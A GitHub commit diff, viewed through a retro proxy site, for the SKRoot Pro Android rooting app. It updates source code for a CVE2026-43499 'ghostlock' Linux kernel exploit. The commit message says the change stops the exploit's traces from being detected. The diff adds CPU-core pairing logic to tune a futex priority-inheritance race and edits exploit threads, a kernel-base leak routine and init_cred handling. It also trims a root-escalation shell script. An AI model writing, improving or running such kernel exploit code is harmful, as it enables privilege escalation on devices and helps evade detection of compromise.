GV

GeezerVison

The World Wide Web, restored to 800 pixels of glory.

Home|About|Gaming cabinet|Archives|How it works|Starter sites

On this site

  • Sign in
  • ActionsCI/CD and automation
  • CodespacesCloud development environments
  • All Features
  • Documentation
  • Training
  • Certifications
  • Build with Copilot
  • Customize Copilot
  • Integrations
  • Trending repos
  • GitHub Sponsors
  • Developer articles
  • Enterprises

This view

  • Original page
  • New address

GeezerVison is showing github.com — feat: Pro版本更新4.6.0,修复CVE2026-43499漏洞痕迹被侦测、断网的问题。 · bufish/SKRoot-linuxKernelRoot@aa33763

File tree

Expand file treeCollapse file tree
Open diff view settings
Filter options
  • Pro(众测开放中)/src/PermissionManager
    • app
      • build.gradle
      • src/main/java/com/linux/permissionmanager
        • MainActivity.java
    • cve2026_43499_ghostlock_src/src
      • common.h
      • main.c
      • slide.c
      • util.c
Expand file treeCollapse file tree
Open diff view settings
Collapse file

‎Pro(众测开放中)/src/PermissionManager/app/build.gradle‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/app/build.gradle
+1-1Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ android {
1010
minSdk 26
1111
targetSdk 31
1212
versionCode 1
13-
versionName "4.6.0"
13+
versionName "4.6.1"
1414

1515
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
1616
externalNativeBuild {
Collapse file

‎Pro(众测开放中)/src/PermissionManager/app/src/main/java/com/linux/permissionmanager/MainActivity.java‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/app/src/main/java/com/linux/permissionmanager/MainActivity.java
-2Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -204,8 +204,6 @@ private String getCVE2026_43499GuideScript() {
204204
String absPath = ghostFile.getAbsolutePath();
205205
return "#!/system/bin/sh\n" +
206206
"SCRIPT_PATH=$(realpath \"$0\")\n" +
207-
"echo \"[DEBUG] SCRIPT_PATH=[$SCRIPT_PATH]\"\n" +
208-
"echo \"[DEBUG] size=$(wc -c < \"$SCRIPT_PATH\")\"\n" +
209207
"if [ \"$(id -u)\" -ne 0 ]; then\n" +
210208
" echo \"[+] Currently not in root privileges, requesting root authorization to rerun the script...\"\n" +
211209
" echo \"[DEBUG] argv1 pre-check: $(stat -c '%s' \"$SCRIPT_PATH\" 2>&1)\"\n" +
Collapse file

‎Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/common.h‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/common.h
-1Lines changed: 0 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -376,7 +376,6 @@ void read_first_line(const char *path, char *buf, size_t len);
376376
void log_startup_context(void);
377377
void init_cpu_config(void);
378378
void log_slide_child_context(void);
379-
void disable_rseq_for_thread(void);
380379
void init_p0_profile(void);
381380
extern uint64_t p0_kernel_phys_load;
382381
extern uintptr_t g_init_cred_image;
Collapse file

‎Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/main.c‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/main.c
+170-28Lines changed: 170 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -552,7 +552,6 @@ atomic_int pipe_prepare_done;
552552
int memfd_leak;
553553

554554
void *waiter_thread(void *arg __attribute__((unused))) {
555-
disable_rseq_for_thread();
556555
int tid = (int)syscall(SYS_gettid);
557556
atomic_store(&waiter_tid, tid);
558557
if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0)
@@ -572,7 +571,6 @@ void *waiter_thread(void *arg __attribute__((unused))) {
572571
}
573572

574573
void *owner_thread(void *arg __attribute__((unused))) {
575-
disable_rseq_for_thread();
576574
long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
577575
if (lock_target != 0) pr_error("owner lock target errno=%d\n", errno);
578576
while (!atomic_load(&waiter_ready)) usleep(1000);
@@ -586,7 +584,6 @@ void *owner_thread(void *arg __attribute__((unused))) {
586584
}
587585

588586
void *consumer_thread(void *arg __attribute__((unused))) {
589-
disable_rseq_for_thread();
590587
pin_to_core(CONSUMER_CORE);
591588
pr_info("consumer thread running on cpu=%d\n", sched_getcpu());
592589
int seen = 0;
@@ -759,38 +756,184 @@ static void slab_drain(void) {
759756

760757
int g_core_main = 0;
761758
int g_core_consumer = 1;
759+
#define MAX_CPUS 256
760+
#define MAX_PAIRS 256
761+
762+
typedef struct {
763+
int cpu;
764+
long freq;
765+
} cpu_freq_t;
766+
767+
typedef struct {
768+
int main_core;
769+
int consumer_core;
770+
} cpu_pair_t;
771+
772+
static long read_sysfs_long(const char *path) {
773+
FILE *fp = fopen(path, "r");
774+
if (!fp) {
775+
return -1;
776+
}
777+
char buf[64];
778+
if (!fgets(buf, sizeof(buf), fp)) {
779+
fclose(fp);
780+
return -1;
781+
}
782+
fclose(fp);
783+
return strtol(buf, NULL, 10);
784+
}
785+
786+
static int parse_online_cpus(int *out, int max) {
787+
FILE *fp = fopen("/sys/devices/system/cpu/online", "r");
788+
if (!fp) {
789+
return 0;
790+
}
791+
char buf[256];
792+
if (!fgets(buf, sizeof(buf), fp)) {
793+
fclose(fp);
794+
return 0;
795+
}
796+
fclose(fp);
797+
798+
int n = 0;
799+
for (char *p = buf; *p && n < max;) {
800+
while (*p == ' ' || *p == ',') {
801+
p++;
802+
}
803+
if (!*p || *p == '\n') {
804+
break;
805+
}
806+
char *end;
807+
long a = strtol(p, &end, 10);
808+
if (end == p) {
809+
break;
810+
}
811+
p = end;
812+
long b = a;
813+
if (*p == '-') {
814+
p++;
815+
b = strtol(p, &end, 10);
816+
if (end == p) {
817+
break;
818+
}
819+
p = end;
820+
}
821+
for (long v = a; v <= b && n < max; v++) {
822+
out[n++] = (int)v;
823+
}
824+
}
825+
return n;
826+
}
827+
828+
static int cmp_cpu_freq_desc(const void *a, const void *b) {
829+
const cpu_freq_t *x = (const cpu_freq_t *)a;
830+
const cpu_freq_t *y = (const cpu_freq_t *)b;
831+
if (x->freq != y->freq) {
832+
return (x->freq < y->freq) - (x->freq > y->freq); /* 频率降序 */
833+
}
834+
return x->cpu - y->cpu; /* 同频按编号升序 */
835+
}
762836

763837
void init_cpu_config(void) {
764-
g_core_main = 0;
765-
g_core_consumer = 1;
766-
767-
const char *s = getenv("GHOSTLOCK_CORE");
768-
if (s && *s) {
769-
long v = strtol(s, NULL, 10);
770-
if (v >= 0 && v < CPU_SETSIZE) {
771-
g_core_main = (int)v;
772-
} else {
773-
pr_warning("invalid GHOSTLOCK_CORE=%s, using %d\n", s, g_core_main);
838+
int online[MAX_CPUS];
839+
int ncpu = parse_online_cpus(online, MAX_CPUS);
840+
841+
cpu_freq_t freqs[MAX_CPUS];
842+
int nf = 0;
843+
for (int i = 0; i < ncpu && nf < MAX_CPUS; i++) {
844+
char path[128];
845+
snprintf(path, sizeof(path),
846+
"/sys/devices/system/cpu/cpu%d/cpufreq/cpuinfo_max_freq",
847+
online[i]);
848+
long f = read_sysfs_long(path);
849+
if (f <= 0) {
850+
continue; /* 读不到最大频率的核不参与配对 */
774851
}
852+
freqs[nf].cpu = online[i];
853+
freqs[nf].freq = f;
854+
nf++;
775855
}
776-
s = getenv("GHOSTLOCK_CONSUMER_CORE");
777-
if (s && *s) {
778-
long v = strtol(s, NULL, 10);
779-
if (v >= 0 && v < CPU_SETSIZE) {
780-
g_core_consumer = (int)v;
856+
857+
cpu_pair_t pairs[MAX_PAIRS];
858+
int npair = 0;
859+
860+
if (nf >= 2) {
861+
qsort(freqs, nf, sizeof(freqs[0]), cmp_cpu_freq_desc);
862+
863+
/* 按频率簇分组(同频),簇内两两配对,大核簇排最前 */
864+
for (int i = 0; i < nf && npair < MAX_PAIRS;) {
865+
int j = i;
866+
while (j < nf && freqs[j].freq == freqs[i].freq) {
867+
j++;
868+
}
869+
int cnt = j - i;
870+
for (int k = 0; k + 1 < cnt && npair < MAX_PAIRS; k += 2) {
871+
pairs[npair].main_core = freqs[i + k].cpu;
872+
pairs[npair].consumer_core = freqs[i + k + 1].cpu;
873+
npair++;
874+
}
875+
i = j;
876+
}
877+
}
878+
879+
/* 兜底:确保 0/1 一定作为候选(与 Android 端行为一致) */
880+
int have_default = 0;
881+
for (int i = 0; i < npair; i++) {
882+
if (pairs[i].main_core == 0 && pairs[i].consumer_core == 1) {
883+
have_default = 1;
884+
break;
885+
}
886+
}
887+
if (!have_default && npair < MAX_PAIRS) {
888+
pairs[npair].main_core = 0;
889+
pairs[npair].consumer_core = 1;
890+
npair++;
891+
}
892+
893+
printf("available cpu pairs (%d):\n", npair);
894+
for (int i = 0; i < npair; i++) {
895+
long f = -1;
896+
for (int k = 0; k < nf; k++) {
897+
if (freqs[k].cpu == pairs[i].main_core) {
898+
f = freqs[k].freq;
899+
break;
900+
}
901+
}
902+
printf(" [%d] main=%d consumer=%d", i, pairs[i].main_core,
903+
pairs[i].consumer_core);
904+
if (f > 0) {
905+
printf(" (%ld MHz)", f / 1000);
906+
}
907+
printf("\n");
908+
}
909+
910+
int chosen = 0;
911+
912+
/* 环境变量显式指定时优先(与 Android 端传参保持一致) */
913+
const char *sc = getenv("GHOSTLOCK_CORE");
914+
const char *cc = getenv("GHOSTLOCK_CONSUMER_CORE");
915+
if (sc && *sc && cc && *cc) {
916+
long vm = strtol(sc, NULL, 10);
917+
long vc = strtol(cc, NULL, 10);
918+
if (vm >= 0 && vm < CPU_SETSIZE && vc >= 0 && vc < CPU_SETSIZE &&
919+
vm != vc) {
920+
g_core_main = (int)vm;
921+
g_core_consumer = (int)vc;
922+
chosen = 1;
781923
} else {
782-
pr_warning("invalid GHOSTLOCK_CONSUMER_CORE=%s, using %d\n", s,
783-
g_core_consumer);
924+
pr_warning("invalid env cores %s/%s; falling back to auto\n", sc, cc);
784925
}
785-
} else {
786-
g_core_consumer = g_core_main + 1;
787926
}
788927

789-
if (g_core_main == g_core_consumer) {
790-
pr_warning("main and consumer cores are the same (%d); falling back\n",
791-
g_core_main);
792-
g_core_main = 0;
793-
g_core_consumer = 1;
928+
/* 自动选最合适的:候选列表第 0 组(大核对) */
929+
if (!chosen) {
930+
if (npair > 0) {
931+
g_core_main = pairs[0].main_core;
932+
g_core_consumer = pairs[0].consumer_core;
933+
} else {
934+
g_core_main = 0;
935+
g_core_consumer = 1;
936+
}
794937
}
795938

796939
cpu_set_t allowed;
@@ -1100,7 +1243,6 @@ int run_exploit(int argc, char **argv) {
11001243
}
11011244
g_init_cred_image = INIT_CRED;
11021245

1103-
disable_rseq_for_thread();
11041246
set_unbuffer();
11051247
signal(SIGPIPE, SIG_IGN);
11061248
set_limit();
Collapse file

‎Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/slide.c‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/slide.c
-3Lines changed: 0 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -226,7 +226,6 @@ void slide_pselect_stack_copy(void) {
226226
}
227227

228228
void *slide_consumer_thread(void *arg __attribute__((unused))) {
229-
disable_rseq_for_thread();
230229
pin_to_core(CONSUMER_CORE);
231230

232231
int seen = 0;
@@ -282,7 +281,6 @@ void *slide_consumer_thread(void *arg __attribute__((unused))) {
282281
}
283282

284283
void *slide_waiter_thread(void *arg __attribute__((unused))) {
285-
disable_rseq_for_thread();
286284
int tid = (int)SYSCHK(syscall(SYS_gettid));
287285
atomic_store(&slide_waiter_tid, tid);
288286

@@ -446,7 +444,6 @@ int slide_leak_kernel_base(void) {
446444
pid_t child = SYSCHK(fork());
447445
if (child == 0) {
448446
SYSCHK(close(fds[0]));
449-
disable_rseq_for_thread();
450447
log_slide_child_context();
451448
uint64_t stext = slide_child_leak_stext();
452449
if (stext) {
Collapse file

‎Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/util.c‎

Copy file name to clipboardExpand all lines: Pro(众测开放中)/src/PermissionManager/cve2026_43499_ghostlock_src/src/util.c
-4Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -156,10 +156,6 @@ void log_slide_child_context(void) {
156156
attr, enforce);
157157
}
158158

159-
void disable_rseq_for_thread(void) {
160-
return;
161-
}
162-
163159
long futex_op(uint32_t *uaddr, int op, uint32_t val,
164160
const struct timespec *timeout, uint32_t *uaddr2,
165161
uint32_t val3) {

0 commit comments

Comments
0 (0)
You are visitor 01402792 — GeezerVison does not store the pages you look up.
Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required.